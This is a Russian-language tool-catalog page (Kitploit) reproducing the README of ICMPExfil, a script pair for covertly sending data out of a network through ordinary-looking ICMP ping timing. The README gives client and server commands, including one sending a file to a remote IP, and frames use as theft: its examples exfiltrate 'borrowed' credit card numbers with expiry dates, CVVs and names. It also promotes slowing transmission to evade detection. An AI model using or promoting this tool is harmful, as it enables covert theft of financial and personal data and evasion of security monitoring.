Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ICMPExfil — Эксфильтрация данных с помощью ICMP | Kitploit
Инструменты/GitHubGitHub/martinoj2009/icmpexfil
Эксфильтрация данныхСетевая безопасностьТестирование на Проникновение
GitHubmartinoj2009/icmpexfil

ICMPExfil

Эксфильтрация данных с помощью ICMP

Репозиторий
101238 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

ICMP Exfil

ICMP Exfil позволяет передавать данные через корректные ICMP-пакеты. Вы используете клиентский скрипт, чтобы передать данные, которые хотите эксфильтровать, а на устройстве, на которое вы передаёте, запускаете сервер. Любой наблюдатель — человек или система безопасности — увидит лишь обычные ICMP-пакеты, в структуре которых нет ничего вредоносного. Ваши данные не скрыты внутри ICMP-пакетов, поэтому просмотр пакета не покажет, что было эксфильтровано.

Screen Shot

Автор

Martino Jones, martinojones.com.

ASCII

Сейчас я добавил поддержку только для символов ASCII. Вы сможете эксфильтровать всё, что может быть представлено в ASCII (например, буквы и цифры). Например: вы позаимствовали несколько крутых 16-значных чисел — тогда вы используете клиентский скрипт для передачи этих чисел на ваш сервер с помощью команды ./ping.py --ascii "4111111111111111".

Отправка на сервер

У вас есть два варианта настройки сервера для отправки. Вы можете использовать --ip или задать IP по умолчанию в скрипте под именем ipToPing.

Ожидание

Если вы хотите проявить больше терпения и затруднить обнаружение эксфильтрации, можете использовать --wait, чтобы указать минимальное время + время, которое должно пройти для передачи данных. Эта функция ещё дорабатывается... поэтому пока придётся выполнять это преобразование самостоятельно, но мне не потребуется много времени, чтобы добавить его... впрочем, это не слишком важно, поскольку большинство людей и систем безопасности пока ещё этого не замечают.

Подробный вывод

Если вы хотите видеть проходящие пинги, используйте --show.

Запуск/Остановка сервера

Для запуска сервера выполните sudo python3 server.py. Больше ничего делать не нужно. Когда закончите, нажмите Control+C. Сейчас сервер нуждается в доработке — необходимо сопоставлять входные данные с тем, от кого они получены. Пока я тестировал только с одним клиентом, который пингует сервер, это, конечно, нужно настроить. Основа уже заложена, осталось только собрать всё вместе.

Пример

Я нашёл базу данных, полную этих крутых 16-значных чисел. Мне нужно сохранить их для дальнейшего исследования, поэтому я сохраняю их в файл с именем file: Команда:./ping.py --ip 1.2.3.4 --asciiFile file Содержимое файла: 4587965312457852 01/15 456 Martino Jones | 4567965382457452 03/16 236 Martino Joe Закодированные данные: ['0110100', '0110101', '0111000', '0110111', '0111001', '0110110', '0110101', '0110011', '0110001', '0110010', '0110100', '0110101', '0110111', '0111000', '0110101', '0110010', '0100000', '0110000', '0110001', '0101111', '0110001', '0110101', '0100000', '0110100', '0110101', '0110110', '0100000', '1001101', '1100001', '1110010', '1110100', '1101001', '1101110', '1101111', '0100000', '1001010', '1101111', '1101110', '1100101', '1110011', '0100000', '1111100', '0100000', '0110100', '0110101', '0110110', '0110111', '0111001', '0110110', '0110101', '0110011', '0111000', '0110010', '0110100', '0110101', '0110111', '0110100', '0110101', '0110010', '0100000', '0110000', '0110011', '0101111', '0110001', '0110110', '0100000', '0110010', '0110011', '0110110', '0100000', '1001101', '1100001', '1110010', '1110100', '1101001', '1101110', '1101111', '0100000', '1001010', '1101111', '1100101', '0001010'] Сервер:

root@kitploit:~
Calculating offsets


4 5 8 7 9 6 5 3 1 2 4 5 7 8 5 2   0 1 / 1 5   4 5 6   M a r t i n o   J o n e s   |   4 5 6 7 9 6 5 3 8 2 4 5 7 4 5 2   0 3 / 1 6   2 3 6   M a r t i n o   J o e 

TODO

Если вы хотите помочь, вот что ещё нужно добавить:

  • Передавать бинарные файлы — можно просто читать файл как бинарный, без кодирования.
  • Разрешить передавать серверу смещение, чтобы можно было увеличивать или уменьшать окно — особенно полезно при очень плохих соединениях.
  • Выводить соответствие IP и DATA по завершении.
  • Сделать тихий режим сервера.
  • Показывать данные по мере поступления — это немного сложнее, но требует лишь вычисления смещений на лету.
  • Ещё много чего по мере появления идей ;-)
Скачать инструмент